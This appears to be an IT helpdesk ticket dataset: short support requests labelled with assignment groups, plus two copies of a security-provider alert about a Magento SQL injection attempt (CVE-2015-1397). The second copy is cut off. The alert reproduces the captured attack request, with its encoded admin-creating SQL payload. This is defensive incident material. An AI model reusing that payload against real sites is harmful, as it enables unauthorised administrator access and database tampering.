+_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +would you pls help to create delivery note for sto 5019239461,it's urgent for plant_305,for something error we unable to create, ",GRP_6 +"job Job_593 failed in job_scheduler at: 09/19/2016 04:07:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +[critical] from: bda-net@lhqSID_1839.company.company.com ""lhqSID_1839.company.company.com [/f]"" time: 9/19/2016 3:33:53 am_x000D_ + ipc failure reading net message (ipc read error_x000D_ + system error: [10054] connection reset by peer_x000D_ +) => aborting._x000D_ +_x000D_ + backup statistics:_x000D_ + _x000D_ + session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 35 _x000D_ + failed disk agents ........... 3 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 38 _x000D_ + =========================================== _x000D_ + completed media agents ....... 1 _x000D_ + failed media agents .......... 0 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 1 _x000D_ + =========================================== _x000D_ + mbytes total ................. 499365 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 4 _x000D_ +_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/19/2016 04:07:00",GRP_8 +"cannot create engineering tool task for er, cannot create engineering tool task for er, please help to deal with. +any problems, contact gaop +t ",GRP_25 +"erp systems are slow in plant erp systems are slow in plant +all erp users in plant +",GRP_0 +"vip 2: access to company guest from 19 september to 1 october 2016 + +received from: sbgvrncj.idfhtoqv@gmail.com + +hello, +please usa the following consultants from attendance_tool access to company guest for 2 weeks from 19 september to 1 october. + +roshyario.mcfaullfhry@attendance_tool.com (roshyario mcfaullfhry) +ssofgrtymerset@attendance_tool.com (sarhfa ssofgrtymerset) +josefghph.hughdthes@attendance_tool.com (josefghph hughdthes) +jofgyst.langytge@attendance_tool.com (jofgyst langytge) + +please confirm when done. +many ",GRP_0 +"network problems (multiple applications are running slow) how did you determine there are network problems ?_x000D_ +_x000D_ +is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow)_x000D_ +_x000D_ +are more than one transactions impacted?_x000D_ +_x000D_ +what erp server are you on (server name is located in the status bar at the bottom _x000D_ +right of your screen) ?_x000D_ +_x000D_ +do other co-workers also notice slow response times in erp ?_x000D_ +_x000D_ +what other applications are running slow ? _x000D_ +_x000D_ +can you access your data files on the server ?_x000D_ +_x000D_ +any other comments or issues with other systems ?",GRP_14 +laptop speakers not working. mic not working during skype concall head set input jack no longer ask questions during plug in,GRP_0 +"unable to login to skype unable to login to skype +m ",GRP_19 +"infotype 17 has been deleted for huge number of travelers in germany in SID_34 we are facing huge issues that german travelers cannot enter their expenses in erp SID_34, because their infotype 17 does not exist again. we have to create it manually for each of them which is relly time consuming. some of them don't even know who to contact when the error comes up. _x000D_ +what happened? why was the infotype deleted? can it be re-created automatically somehow? _x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_10 +HostName_894 : volume: c:\ label:sys-HostName_894 28385a7b is over 85% space consumed. space available: 4.6 g HostName_894 : volume: c:\ label:sys-HostName_894 28385a7b is over 85% space consumed. space available: 4.6 g,GRP_39 +apusm00 : volume: f:\ label:dat2-HostName_53 d4e35b72 is over 85% space consumed. space available: 0.98 m apusm00 : volume: f:\ label:dat2-HostName_53 d4e35b72 is over 85% space consumed. space available: 0.98 m,GRP_12 +"network problems (multiple applications are running slow) how did you determine there are network problems ?_x000D_ +_x000D_ +is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow)_x000D_ +_x000D_ +are more than one transactions impacted?_x000D_ +_x000D_ +what erp server are you on (server name is located in the status bar at the bottom _x000D_ +right of your screen) ?_x000D_ +_x000D_ +do other co-workers also notice slow response times in erp ?_x000D_ +_x000D_ +what other applications are running slow ? _x000D_ +_x000D_ +can you access your data files on the server ?_x000D_ +_x000D_ +any other comments or issues with other systems ?",GRP_0 +"connection to finance_app data base _x000D_ +_x000D_ +received from: naisdxtk.mqzvewsb@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i receive the following error message when i try to open finance_app – plant monthly book. could you please check?_x000D_ +_x000D_ +[cid:image001.png@01SID_35259.57ca22e0]_x000D_ +_x000D_ +mit freundlichen grüssen / kind ",GRP_55 +传真机不清楚 to 小贺：传真机传真出来有很粗的黑色墨迹，请帮忙查看一下，谢谢,GRP_30 +accout locked accout locked ,GRP_0 +outlook is prompting for password again and again outlook is prompting for password again and again ,GRP_0 +erp SID_21 and SID_1 not working erp SID_21 and SID_1 not working ,GRP_0 +"need erp access to the stated roles system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_21 & SID_33 +enter user id of user having the issue: gthydanp + +transaction code(s) the user needs or was working with: + +describe the issue: need access to the stated roles + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user: manjuvghy",GRP_2 +"collaboration_platform issues _x000D_ +_x000D_ +received from: lwizucan.zvnxlobq@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +last week i setup collaboration_platform, and after start shatryung, my collaboration_platform didn't recognize me as owner so that i couldn't make any action._x000D_ +today i started collaboration_platform again, and now it is telling me that it couldn't connect to the server, while the vpn connection was established._x000D_ +_x000D_ +hope you can help me fixing those issues?_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35250.d48f7220]_x000D_ +_x000D_ +met vriendelijke groet,_x000D_ +_x000D_ +lwizucan zvnxlobq_x000D_ +directeur company benelthyux_x000D_ +lwizucan.zvnxlobq@gmail.com_x000D_ +m +31 6 57 84 21 40_x000D_ +t +31 800 4433 201_x000D_ +f +31 800 3500 107_x000D_ +_x000D_ +company nederland bv | wim duisenbergplantsoen 31 | 6221 se maastricht | www.company.com<_x000D_ +company nederland bv | postbus 982 | 6200 az maastricht_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_16 +computer unable to connection company network. computer unable to connection company network. pc got ip address --192.168.32.100,GRP_31 +der mitarbeiter schrenfgker heinrifgtch (pn 50388) benötigt zugriff im pulverleitstand (lesen & eintragen). der mitarbeiter schrenfgker heinrifgtch (pn 50388) benötigt zugriff im pulverleitstand (lesen & eintragen). ,GRP_25 +account locked in ad account locked in ad,GRP_0 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +account locked in ad account locked in ad,GRP_0 +"unable to create stock recall form _x000D_ +_x000D_ +received from: rjanhbde.owfkyjcp@gmail.com_x000D_ +_x000D_ +hello…._x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01SID_35266.3a795500]_x000D_ +_x000D_ +_x000D_ +_x000D_ +warm ",GRP_0 +"eeml8143294 / wlan lässt sich nicht per knopfdruck de-/aktivieren eeml8143294 / wlan lässt sich nicht per knopfdruck de-/aktivieren (xvwchsdg pladjmxt ist informiert) + +bitte zu haende hrrn pries.",GRP_42 +"atp not getting committed in SID_1 _x000D_ +_x000D_ +received from: iwqfelcu.gsubfiml@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please note that atp is not getting committed in SID_1. the screen shot of error msg. is given below._x000D_ +_x000D_ +[cid:image001.png@01SID_35260.f9ddd1b0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_6 +vpn 不能连接 vpn 不能连接,GRP_31 +"how to change password in outllok +name:srinfhyath +language: +browser:microsoft internet explorer +email:kflqpite.gbeoqsnc@gmail.com +customer number: +telephone: +summary:how to change password in outllok",GRP_0 +time cards not automatically generating. time cards not automatically generating.,GRP_36 +"vvdgtyachac + +received from: aksthyuhath.shettythruy@company.com + +hi, + +below mentioned apprentice is unable to login his desktop. please reset the password. + +emp no + +name + +useid + +20271667 + +cheghthan achghar + +vvdgtyachac + + + +with ",GRP_0 +"登录进去后无法新建客户信息，无法报价 ~connect_ui/setting/view?brand=kd&language=zh-cn&dv=1474256654564 这是登录进去后的操作界面，销售组织无法编辑，不能建客户，报价也报不了，请帮忙处理下，感谢！ _x000D_ +_x000D_ +",GRP_31 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"job hr_payroll_na_u1 failed in job_scheduler at: 09/18/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 09/18/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 09/18/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 09/18/2016 23:00:00",GRP_10 +"job hr_payroll_na_u2 failed in job_scheduler at: 09/18/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 09/18/2016 23:00:00",GRP_10 +"reset password + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi it team + +kindly please assist to reset SID_34 password for user: kassia + +hydstheud mddwwyleh +operation supervisor +company distribution services of asia pte ltd + +email : rxoynvgi.ntgdsehl@gmail.com",GRP_0 +"job bkwin_HostName_768_inc failed in job_scheduler at: 09/18/2016 22:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 09/18/2016 22:11:00",GRP_8 +how to connect to mobile hotspot how to connect to mobile hotspot ,GRP_0 +"ie 浏览器问题,搜索网页后不能打开。 ie 浏览器问题,搜索网页后不能打开。",GRP_31 +reset passwords for jerydwbn gdylnaue using password_management_tool password reset. the,GRP_17 +unable to login to microsoft account and need password unable to login to microsoft account and need password,GRP_0 +inquiry on erp availability. inquiry on erp availability.,GRP_0 +lhqSID_1855: h:\ is is over 85% space consumed. space available: 2.2 g.. volume: h:\ label:oraarch 844d5322 on server: lhqSID_1855 is over 85% space consumed. space available: 2.2 g,GRP_1 +"circuit outage:·2 mbps internet link to telecom_vendor_1 circuit id on company-ap-ind-india-dmvpn-1811-rtr.company.com is down since 5:15 pm what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___5:15 pm et on 09/18___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _primary is active_______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _____telecom_vendor_1#24095925____________________ _x000D_ +_x000D_ +12. notified gsc __(yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to login to system unable to login to system,GRP_0 +"job Job_1388 failed in job_scheduler at: 09/18/2016 18:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1388 failed in job_scheduler at: 09/18/2016 18:39:00",GRP_9 +"job bkbackup_tool_csqe_prod_inc failed in job_scheduler at: 09/18/2016 18:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_csqe_prod_inc failed in job_scheduler at: 09/18/2016 18:15:00",GRP_8 +"job Job_1422 failed in job_scheduler at: 09/18/2016 14:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1422 failed in job_scheduler at: 09/18/2016 14:10:00",GRP_6 +"erp password block + +received from: rhwvpmlq.zuwhpqrc@gmail.com + +dear sir, + +my erp password is blocked , request you to kindly re-set the password. + +employee code : 20275682 +login id : achghyardr + + + +",GRP_0 +reset passwords for dmexgspl mruzqhac using password_management_tool password reset. the,GRP_17 +"job snp_heu_6_regen failed in job_scheduler at: 09/18/2016 11:56:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_6_regen failed in job_scheduler at: 09/18/2016 11:56:00",GRP_6 +skype : personal certificate issue skype : personal certificate issue ,GRP_0 +"job Job_1348a failed in job_scheduler at: 09/18/2016 11:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1348a failed in job_scheduler at: 09/18/2016 11:33:00",GRP_9 +"job Job_1353 failed in job_scheduler at: 09/18/2016 11:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1353 failed in job_scheduler at: 09/18/2016 11:33:00",GRP_9 +"why we can't use the outlook groups ? _x000D_ +_x000D_ +received from: bmudkpie.qolrvbip@gmail.com_x000D_ +_x000D_ +best ",GRP_0 +abend batch job:Job_1391 job name:Job_1391,GRP_8 +"job Job_1391 failed in job_scheduler at: 09/18/2016 10:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1391 failed in job_scheduler at: 09/18/2016 10:39:00",GRP_9 +"job Job_1314 failed in job_scheduler at: 09/18/2016 09:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 09/18/2016 09:58:00",GRP_9 +"ooo until 30.9.2016 : engineering_tool _x000D_ +_x000D_ +received from: wsczgfal.hjfklsdg@gmail.com_x000D_ +_x000D_ +witam,_x000D_ +_x000D_ +zgÅ‚aszam kÅ‚opoty z engineering_tool-em_x000D_ +_x000D_ +[cid:image001.png@01SID_351c2.c943d840]_x000D_ +_x000D_ +nie można zrobić synchronizacji, brak raportów itp._x000D_ +_x000D_ +pozdrawiam/best ",GRP_0 +erp SID_34 account locked out and password reset erp SID_34 account locked out and password reset ,GRP_0 +"job Job_1348 failed in job_scheduler at: 09/18/2016 08:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1348 failed in job_scheduler at: 09/18/2016 08:38:00",GRP_9 +"power outage :south_amerirtca :site is hard down since at 8:19 am et on 09/18. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______8:19 am et on 09/18________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __na____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_1368 failed in job_scheduler at: 09/18/2016 08:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1368 failed in job_scheduler at: 09/18/2016 08:14:00",GRP_9 +"job Job_1382 failed in job_scheduler at: 09/18/2016 08:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1382 failed in job_scheduler at: 09/18/2016 08:04:00",GRP_9 +"job pp_EU_tool_netch_keheu1 failed in job_scheduler at: 09/18/2016 07:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_keheu1 failed in job_scheduler at: 09/18/2016 07:36:00",GRP_8 +"skype login issue : personal certificate issue +summary:my skype business cannot login, error message is "" there was a problem acquiring personal certificate required to sign in"" +please help to solve this. ",GRP_0 +apac company: fastethernet0/48 · uplink to company-ap-chn-apac-2950-24-access-sw05 is down since 23:31 et on 09/17 apac company: company-ap-chn-apac-shop-closet-2960-access-sw01.company.com - fastethernet0/48 · uplink to company-ap-chn-apac-2950-24-access-sw05 since 23:31 et on 09/17.,GRP_4 +"job Job_1384 failed in job_scheduler at: 09/18/2016 07:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1384 failed in job_scheduler at: 09/18/2016 07:09:00",GRP_9 +"job co_val_update_crosscomp failed in job_scheduler at: 09/18/2016 05:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job co_val_update_crosscomp failed in job_scheduler at: 09/18/2016 05:50:00",GRP_10 +"only erp running slow since last 3-4 hours in Israel.internet is working fine. only erp running slow since last 3-4 hours. internet is working fine. +all transactions are running slow. +contact # : +erp system : SID_34 (all transactions) + +checked with dac team, no issues as such. +dac team checking with utilization now. + +dac confirmed that utilization is high since last half an hour. +calling erp basis on call support : on call support + + +",GRP_14 +"job Job_3343 failed in job_scheduler at: 09/18/2016 05:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3343 failed in job_scheduler at: 09/18/2016 05:01:00",GRP_8 +"security incidents - ( sw #in33895560 ) : magento sql injection source ip : 172.20.10.37 , 208.211.136.158 +system name : whqsm010 , reference.company.com ( +user name: n/a +location : dmz +sep , sms status : +field sales user ( yes / no) : +dsw event log: see below + +** + +the ctoc has received at least 4 occurrences of '52853 vid68372 possible magento mage_adminhtml_block_widget_gridgetcsvfile() sql injection attempt inbound (cve-2015-1397)' alerts from your isensor device (208.211.136.207/isensplant_247.company.com) for traffic (not blocked) sourcing from port 55334/tcp of 166.78.155.100 (dallas, usa) destined to port 80/tcp of 208.211.136.158 (usa, usa) that occurred on 2016-09-17 at 11:35:02. this indicates that the external host at 166.78.155.100 and possibly other sources are attempting to discover if your public facing servers including 208.211.136.158 is vulnerable to the ""magento mage_adminhtml_block_widget_grid::getcsvfile() sql injection vulnerability"" described in cve-2015-1397. + +this ticket will effectively serve as a master ticket for any related alerts until we receive feedback from you on how to handle these events going forward. please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at we have a number of options available for the handling of future alerts such as this one: + +1) autoresolve these alerts directly to the portal (no explicit notification and events will be available for reporting purposes in the portal). this is most likely the best choice if you are not running the application being targeted. +2) ticket only escalation via a medium priority ticket (no phone call) for each unique source ip address for these alerts (this may generate a relatively large volume of incident tickets). +3) full escalation via a high priority ticket and a phone call for each unique source ip address. + +we would not recommend options 2 and 3 since the exploit code is in the wild and merely identifying the sources of the attack may not be very useful, and we can always run reports on the portal to identify a list of attackers. instead we would recommend auditing your environment for vulnerable systems and updating them as necessary. once you have completed this, you could go with option 1 to suppress alerting on these events. + +sincerely, + ctoc + + +========================= +technical details +========================= +a vulnerability exists in magento due to insufficient input validation within the mage_adminhtml_block_widget_grid::getcsvfile() function. a remote attacker could exploit this vulnerability to conduct sql injection attacks on vulnerable systems. +magento is an eusa platform. a vulnerability exists in magento commstorage_product edition (ce) versions 1.4.00 through 1.5.0.1, version 1.5.1.0, versions 1.6.0.x, versions 1.6.1.x through 1.6.2.x, versions 1.7.x, and versions 1.8.x and 1.9.x and in magento enterprise edition (ee) versions prior to 1.14.2.0 due to insufficient input validation. user-controllable supplied via the 'popularity[field_expr]' paramdntyeter, when the 'popularity[from]' or 'popularity[to]' paramdntyeter is set, is not properly sanitized for illegal or malicious content by the mage_adminhtml_block_widget_grid::getcsvfile() function prior to being stored in a $fieldname variable and used in an sql query. remote administrators could leverage this issue to conduct sql injection attacks by injectncqulao qauighdplicious sql code into an affected input. successful exploitation may permit an attacker to manipulate sql queries and execute arbitrary sql commands on the underlying database. + +========================= +references +========================= + + + + + + + + + + + + + + + + + +========================= +event data +========================= +related events: +event id: 44717197 +event summary: 52853 vid68372 possible magento mage_adminhtml_block_widget_gridgetcsvfile() sql injection attempt inbound +occurrence count: 4 +event count: 4 + +host and connection information +source ip: 166.78.155.100 +source port: 55334 +source ip geolocation: dallas, usa +destination ip: 208.211.136.158 +destination port: 80 +destination ip geolocation: usa, usa +connection directionality: incoming +protocol: tcp +http method: post +host: www.company.de +full url path: /admin/cms_wysiwyg/directive/index/ + +device information +device ip: 208.211.136.207 +device name: isensplant_247.company.com +log time: 2016-09-17 at 11:35:02 utc +action: not blocked +vendor eventid: 393369 +cvss score: 6.5 +vendor priority: 2 +vendor version: 7 + +scwx event processing information +sherlock rule id (sle): 2161562 +inspector event id: 63726775 +ontology id: 200020003203759378 +event type id: 200020003203707850 +agent id: 102989 + +event detail: +[**] [1:21163964:2] 52853 vid68372 possible magento mage_adminhtml_block_widget_gridgetcsvfile() sql injection attempt inbound [**] +[classification: none] [priority: 2] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1] +[sensor id: 602981][event id: 393369][time: 2585223213.930745] +[src ip: 166.78.155.100][dst ip: 208.211.136.158][sport/itype: 55334][dport/icode: 80][proto: 6] +09/17/2016-11:35:02.930745 166.78.155.100:55334 -> 208.211.136.158:80 +tcp ttl:54 tos:0x0 id:26997 iplen:20 dgmlen:1236 df +***ap*** seq: 0x595823f2 ack: 0x6b4edac2 win: 0xe5 tcplen: 32 +tcp options (3) => nop nop ts: 4341465171 309732804 +==pcap 1== + + +[ex http_uri 9: /admin/cms_wysiwyg/directive/index/] + +[ex http_hostname 10: www.company.de] + +[o:security] + +ascii packet(s): +==pcap 1 ascii s== +....f*.w.3..........e...iu@.6.;..n.d.....&.pyx#.kn.......9........j....apost./admin/cms_wysiwyg/directive/index/.http/1.1..host:.www.company.de..accept:.*/*..content-length:.1022..content-type:.application/x-www-form-urlencoded....filter=cg9wdwxhcml0evtmcm9txt0wjnbvchvsyxjpdhlbdg9dptmmcg9wdwxhcml0evtmawvszf9lehbyxt0wktttrvqgqfnbtfqgpsancnano1nfvcbaueftuya9ienptknbvchnrduoq09oq0fukcbau0fmvcasicd0zw1wzwsnkerplcbdt05dqvqojzonlcbau0fmvcapktttruxfq1qgqevyvfjbido9ie1bwchlehryyskgrljptsbhzg1pbl91c2vyifdirvjfigv4dhjhieltie5pvcbovuxmo0lou0vsvcbjtlrpigbhzg1pbl91c2vyycaoygzpcnn0bmftzwasigbsyxn0bmftzwasygvtywlsycxgdxnlcm5hbwvglgbwyxnzd29yzgasygnyzwf0zwrglgbsb2dudfrtglgbyzwxvywrfywnsx2zsywdglgbpc19hy3rpdmvglgblehryywasyhjwx3rva2vuycxgcnbfdg9rzw5fy3jlyxrlzf9hdgapifzbtfvfuyaoj0zpcnn0bmftzscsj0xhc3ruyw1ljywnc2vjdxjpdhlabwfnzw50b2nvbw1lcmnllmnvbscsj3bvbgljescsqfbbu1mstk9xkcksmcwwldesqevyvfjble5vtewsie5pvygpkttjtlnfulqgsu5utybgywrtaw5fcm9szwagkhbhcmvudf9pzcx0cmvlx2xldmvslhnvcnrfb3jkzxisupply_chain9szv90exbllhvzzxjfawqsupply_chain9szv9uyw1lksbwquxvrvmgkdesmiwwlcdvjywou0vmrunuihvzzxjfawqgrljptsbhzg1pbl91c2vyifdirvjfihvzzxjuyw1lid0gj3bvbgljescplcdgaxjzdg5hbwunkts=&___directive=e3tibg9jayb0exblpufkbwluahrtbc9yzxbvcnrfc2vhcmnox2dyawqgb3v0chv0pwdldenzdkzpbgv9fq==&forwarded=1& +==pcap 1 ascii e== + +hex packet(s): +==pcap 1 hex s== +000000 0c00 0000 662a dd57 b933 0e00 d404 0000 ....f*.w.3...... +000010 d404 0000 4500 04d4 6975 4000 3606 3b8a ....e...iu@.6.;. +000020 a64e 9b64 d0d3 889e d826 0050 5958 23f2 .n.d.....&.pyx#. +000030 6b4e dac2 8018 00e5 f939 0000 0101 080a kn.......9...... +000040 c08b 4a8c 11cc 9b61 504f 5354 202f 6164 ..j....apost./ad +000050 6d69 6e2f 436d 735f 5779 7369 7779 672f min/cms_wysiwyg/ +000060 6469 7265 6374 6976 652f 696e 6465 782f directive/index/ +000070 2048 5454 502f 312e 310d 0a48 6f73 743a .http/1.1..host: +000080 2077 7777 2e6b 656e 6e61 6d65 7461 6c2e .www.company. +000090 6465 0d0a 4163 6365 7074 3a20 2a2f 2a0d de..accept:.*/*. +0000a0 0a43 6f6e 7465 6e74 2d4c 656e 6774 683a .content-length: +0000b0 2031 3032 320d 0a43 6f6e 7465 6e74 2d54 .1022..content-t +0000c0 7970 653a 2061 7070 6c69 6361 7469 6f6e ype:.application +0000d0 2f78 2d77 7777 2d66 6f72 6d2d 7572 6c65 /x-www-form-urle +0000e0 6e63 6f64 6564 0d0a 0d0a 6669 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5751 6762 2vhcmnox2dyawqgb +0004c0 3356 3063 4856 3050 5764 6c64 454e 7a64 3v0chv0pwdldenzd +0004d0 6b5a 7062 4756 3966 513d 3d26 666f 7277 kzpbgv9fq==&forw +0004e0 6172 6465 643d 3126 arded=1& +==pcap 1 hex e== +[[3 of 4 events not shown due to space constraints]] +take action + +ticket action:",GRP_39 +"can not post dn#9169336870 under rma#6001502124 + +received from: wktesmbp.lorjymef@gmail.com + +dear team, +pls. help to check below issue~ +return dn#9169336870 can not be posted due to bath issue,but we can not key in anything in batch blank. +pls. help to handle it,thx a lot! +[cid:image001.png@01SID_351bc.f1978a90] +[cid:image002.jpg@01SID_351bc.f1978a90] +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc + +",GRP_18 +"security incidents - ( sw #in33895560 ) : magento sql injection source ip : 172.20.10.37 , 208.211.136.158 +system name : whqsm010 , reference.company.com ( +user name: n/a +location : dmz +sep , sms status : +field sales user ( yes / no) : +dsw event log: see below + +** + +the ctoc has received at least 4 occurrences of '52853 vid68372 possible magento mage_adminhtml_block_widget_gridgetcsvfile() sql injection attempt inbound (cve-2015-1397)' alerts from your isensor device (208.211.136.207/isensplant_247.company.com) for traffic (not blocked) sourcing from port 55334/tcp of 166.78.155.100 (dallas, usa) destined to port 80/tcp of 208.211.136.158 (usa, usa) that occurred on 2016-09-17 at 11:35:02. this indicates that the external host at 166.78.155.100 and possibly other sources are attempting to discover if your public facing servers including 208.211.136.158 is vulnerable to the ""magento mage_adminhtml_block_widget_grid::getcsvfile() sql injection vulnerability"" described in cve-2015-1397. + +this ticket will effectively serve as a master ticket for any related alerts until we receive feedback from you on how to handle these events going forward. please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at. we have a number of options available for the handling of future alerts such as this one: + +1) autoresolve these alerts directly to the portal (no explicit notification and events will be available for reporting purposes in the portal). this is most likely the best choice if you are not running the application being targeted. +2) ticket only escalation via a medium priority ticket (no phone call) for each unique source ip address for these alerts (this may generate a relatively large volume of incident tickets). +3) full escalation via a high priority ticket and a phone call for each unique source ip address. + +we would not recommend options 2 and 3 since the exploit code is in the wild and merely identifying the sources of the attack may not be very useful, and we can always run reports on the portal to identify a list of attackers. instead we would recommend auditing your environment for vulnerable systems and updating them as necessary. once you have completed this, you could go with option 1 to suppress alerting on these events. + +sincerely, + ctoc + + +========================= +technical details +========================= +a vulnerability exists in magento due to insufficient input validation within the mage_adminhtml_block_widget_grid::getcsvfile() function. a remote attacker could exploit this vulnerability to conduct sql injection attacks on vulnerable systems. +magento is an eusa platform. a vulnerability exists in magento commstorage_product edition (ce) versions 1.4.00 through 1.5.0.1, version 1.5.1.0, versions 1.6.0.x, versions 1.6.1.x through 1.6.2.x, versions 1.7.x, and versions 1.8.x and 1.9.x and in magento enterprise edition (ee) versions prior to 1.14.2.0 due to insufficient input validation. user-controllable supplied via the 'popularity[field_expr]' paramdntyeter, when the 'popularity[from]' or 'popularity[to]' paramdntyeter is set, is not properly sanitized for illegal or malicious content by the mage_adminhtml_block_widget_grid::getcsvfile() function prior to being stored in a $fieldname variable and used in an sql query. remote administrators could leverage this issue to conduct sql injection attacks by injectncqulao qauighdplicious sql code into an affected input. successful exploitation may permit an attacker to manipulate sql queries and execute arbitrary sql commands on the underlying database. + +========================= +references +========================= + + + + + + + + + + + + + + + + + +========================= +event data +========================= +related events: +event id: 44717197 +event summary: 52853 vid68372 possible magento mage_adminhtml_block_widget_gridgetcsvfile() sql injection attempt inbound +occurrence count: 4 +event count: 4 + +host and connection information +source ip: 166.78.155.100 +source port: 55334 +source ip geolocation: dallas, usa +destination ip: 208.211.136.158 +destination port: 80 +destination ip geolocation: usa, usa +connection directionality: incoming +protocol: tcp +http method: post +host: www.company.de +full url path: /admin/cms_wysiwyg/directive/index/ + +device information +device ip: 208.211.136.207 +device name: isensplant_247.company.com +log time: 2016-09-17 at 11:35:02 utc +action: not blocked +vendor eventid: 393369 +cvss score: 6.5 +vendor priority: 2 +vendor version: 7 + +scwx event processing information +sherlock rule id (sle): 2161562 +inspector event id: 63726775 +ontology id: 200020003203759378 +event type id: 200020003203707850 +agent id: 102989 + +event detail: +[**] [1:21163964:2] 52853 vid68372 possible magento mage_adminhtml_block_widget_gridgetcsvfile() sql injection attempt inbound [**] +[classification: none] [priority: 2] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1] +[sensor id: 602981][event id: 393369][time: 2585223213.930745] +[src ip: 166.78.155.100][dst ip: 208.211.136.158][sport/itype: 55334][dport/icode: 80][proto: 6] +09/17/2016-11:35:02.930745 166.78.155.100:55334 -> 208.211.136.158:80 +tcp ttl:54 tos:0x0 id:26997 iplen:20 dgmlen:1236 df +***ap*** seq: 0x595823f2 ack: 0x6b4edac2 win: 0xe5 tcplen: 32 +tcp options (3) => nop nop ts: 4341465171 309732804 +==pcap 